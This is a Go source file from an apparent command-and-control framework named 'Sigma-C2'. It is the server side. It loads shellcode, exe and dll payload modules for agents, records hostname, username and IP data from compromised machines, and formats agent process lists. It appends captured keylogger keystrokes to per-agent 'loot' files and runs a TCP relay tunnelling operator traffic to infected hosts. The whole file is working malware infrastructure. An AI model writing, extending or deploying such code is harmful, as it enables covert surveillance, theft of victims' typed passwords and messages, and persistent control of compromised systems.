Sigma-C2/server/agent_modules.go

package main

import (
	"bytes"
	"fmt"
	"io"
	"io/fs"
	"log"
	"net"
	"os"
	"path/filepath"
	"strings"
	"sync"
	"text/tabwriter"
	"time"
	"unicode/utf8"
)

type Module struct {
	Name        string // Module name (e.g., "print.exe")
	Type        string // Module type (e.g., "exe", "dll", "bin")
	Path        string // File path to the module
	Description string // Description of the module
}

// Map that will hold modules/exploits
var modules = make(map[string]Module)

// Load modules from directory
func InitModules() error {
	// Clear existing modules
	modules = make(map[string]Module)

	modulesDir := "./shellcode"

	// Check if modules directory exists
	if _, err := os.Stat(modulesDir); os.IsNotExist(err) {
		return fmt.Errorf("modules directory does not exist: %s", modulesDir)
	}

	// Walk through the modules directory
	err := filepath.Walk(modulesDir, func(path string, info fs.FileInfo, err error) error {
		if err != nil {
			return err
		}

		// Skip directories
		if info.IsDir() {
			return nil
		}

		// Get file extension as module type
		fileName := info.Name()
		fileExt := strings.TrimPrefix(filepath.Ext(fileName), ".")

		// Only process supported module types
		if fileExt != "exe" && fileExt != "dll" && fileExt != "bin" {
			log.Printf("Skipping unsupported file type: %s", path)
			return nil
		}

		// Read description from accompanying .desc file if it exists
		descPath := strings.TrimSuffix(path, filepath.Ext(path)) + ".desc"
		description := "No description available"

		if descData, err := os.ReadFile(descPath); err == nil {
			description = strings.TrimSpace(string(descData))
		}

		// Create and add the module
		module := Module{
			Name:        fileName,
			Type:        fileExt,
			Path:        path,
			Description: description,
		}

		modules[fileName] = module
		log.Printf("Loaded module: %s (%s)", fileName, path)

		return nil
	})

	if err != nil {
		return fmt.Errorf("error walking modules directory: %v", err)
	}

	log.Printf("Loaded %d modules from %s", len(modules), modulesDir)
	return nil
}

// Handle information about system received from agent
func HandleSystemInfo(agentID, agentIP, sysInfo, taskID string) {
	log.Printf("Received system info from agent %s ", agentID)
	messageParts := strings.Split(sysInfo, "|")

	if len(messageParts) < 7 {
		log.Printf("Not enough parts in sysinfo")
		return
	}
	newInfo := &AgentInfo{
		OSVersion:    messageParts[0],
		Architecture: messageParts[1],
		Hostname:     messageParts[2],
		Username:     messageParts[3],
		LocalIP:      messageParts[4],
		Procname:     messageParts[5],
		PID:          messageParts[6],
	}

	newInfo.LastConnection = time.Now()
	newInfo.RemoteIP = agentIP

	UpdateAgent(agentID, newInfo)

	if taskID != "" {
		// Report to operator
		operatorConn, exists := taskHandler.GetOperatorConnByTaskID(agentID, taskID)
		if exists {
			log.Printf("Operator exists, sending task result to operator")
			// Prepare task result message for operator
			message := "TASK_RESULT: " + agentID + ": " + "Retrieved system information"
			operatorConn.Write([]byte(message))
		}

		// Remove task from list
		taskHandler.MarkTaskComplete(agentID, taskID, true)
	}

}

// Formats the raw CSV process data into a nice output
func FormatProcessListOutput(agentID, rawData, taskID string) {
	// Create a buffer for our formatted output
	var buffer bytes.Buffer

	// Create a tabwriter that will handle the column alignment
	w := tabwriter.NewWriter(&buffer, 0, 0, 2, ' ', 0)

	// Print a header banner
	buffer.WriteString("\n[*] Process List\n")
	buffer.WriteString("================\n\n")

	// Write the table header
	fmt.Fprintln(w, "PID\tPPID\tName\tArch\tUser")
	fmt.Fprintln(w, "---\t----\t----\t----\t----")

	// Split the raw data into lines
	lines := strings.Split(strings.TrimSpace(rawData), "\n")

	// Process count
	processCount := 0

	// Parse each line and format it
	for _, line := range lines {
		// Skip empty lines
		if len(line) == 0 {
			continue
		}

		// Split the CSV line
		parts := strings.Split(line, ",")
		if len(parts) >= 5 {
			pid := parts[0]
			ppid := parts[1]
			name := parts[2]
			arch := parts[3]
			user := parts[4]

			// Format the line
			fmt.Fprintf(w, "%s\t%s\t%s\t%s\t%s\n", pid, ppid, name, arch, user)
			processCount++
		}
	}

	// Flush the tabwriter
	w.Flush()

	// Add a summary at the end
	buffer.WriteString(fmt.Sprintf("\nFound %d processes\n", processCount))

	operatorConn, exists := taskHandler.GetOperatorConnByTaskID(agentID, taskID)
	if exists {
		operatorConn.Write([]byte(buffer.Bytes()))
	}
}

// Processes keystrokes and save them to a file
func HandleKeyloggerMessage(agentID string, keystrokes string) {

	log.Print("Keystrokes received")

	// Sanitize the keystroke data by removing null bytes and invalid UTF-8 characters
	keystrokes = strings.ReplaceAll(keystrokes, "\x00", "")
	if !utf8.ValidString(keystrokes) {
		keystrokes = strings.ToValidUTF8(keystrokes, "?")
	}

	// Create the loot directory for the agent if it doesn't exist
	agentDir := filepath.Join("loot", agentID)
	if err := os.MkdirAll(agentDir, 0755); err != nil {
		log.Printf("Failed to create directory for agent %s: %v\n", agentID, err)
		return
	}

	// Generate the filename using today's date
	now := time.Now()
	dateStr := now.Format("2006-01-02") // YYYY-MM-DD format
	filename := fmt.Sprintf("%s-keystrokes.log", dateStr)
	filePath := filepath.Join(agentDir, filename)

	// Open the file in append mode, create if it doesn't exist
	file, err := os.OpenFile(filePath, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644)
	if err != nil {
		log.Printf("Failed to open file for agent %s: %v\n", agentID, err)
		return
	}
	defer file.Close()

	// Write the sanitized keystrokes to the file
	if _, err := file.WriteString(keystrokes + "\n"); err != nil {
		log.Printf("Failed to write keystrokes for agent %s: %v\n", agentID, err)
	}
}

// Proxy relay listens for agent and client connections on separate ports and relays traffic between them
var agentLn net.Listener
var clientLn net.Listener

// StartRelayServer listens for agent and client and relays traffic
func StartRelayServer() error {
	var err error

	// Agent
	agentLn, err = net.Listen("tcp", "0.0.0.0:30889")
	if err != nil {
		return err
	}
	log.Println("Listening for AGENT on 0.0.0.0:30889")

	// Client
	clientLn, err = net.Listen("tcp", "0.0.0.0:30900")
	if err != nil {
		agentLn.Close()
		return err
	}
	log.Println("Listening for CLIENT on 0.0.0.0:30900")

	go func() {
		for {
			agentConn, err := agentLn.Accept()
			if err != nil {
				log.Println("Agent listener closed or error:", err)
				return // Exit goroutine if listener closed
			}
			log.Println("AGENT connected:", agentConn.RemoteAddr())

			go handleTunnel(clientLn, agentConn)
		}
	}()

	return nil
}

// StopRelayServer stops both listeners and ends all new connections
func StopRelayServer() {
	if agentLn != nil {
		agentLn.Close()
	}
	if clientLn != nil {
		clientLn.Close()
	}
	log.Println("Relay server stopped.")
}

func handleTunnel(clientLn net.Listener, agentConn net.Conn) {
	defer agentConn.Close()

	log.Println("Waiting for CLIENT...")
	clientConn, err := clientLn.Accept()
	if err != nil {
		log.Println("Client listener closed or error:", err)
		return
	}
	log.Println("CLIENT connected:", clientConn.RemoteAddr())
	defer clientConn.Close()

	var wg sync.WaitGroup
	wg.Add(2)

	go pipe(&wg, clientConn, agentConn)
	go pipe(&wg, agentConn, clientConn)

	wg.Wait()
	log.Println("Tunnel between client and agent closed.")
}

func pipe(wg *sync.WaitGroup, src net.Conn, dst net.Conn) {
	defer wg.Done()

	_, err := io.Copy(dst, src)
	if err != nil {
		log.Printf("Pipe error: %v", err)
	}

	if tcpDst, ok := dst.(*net.TCPConn); ok {
		tcpDst.CloseWrite()
	}
}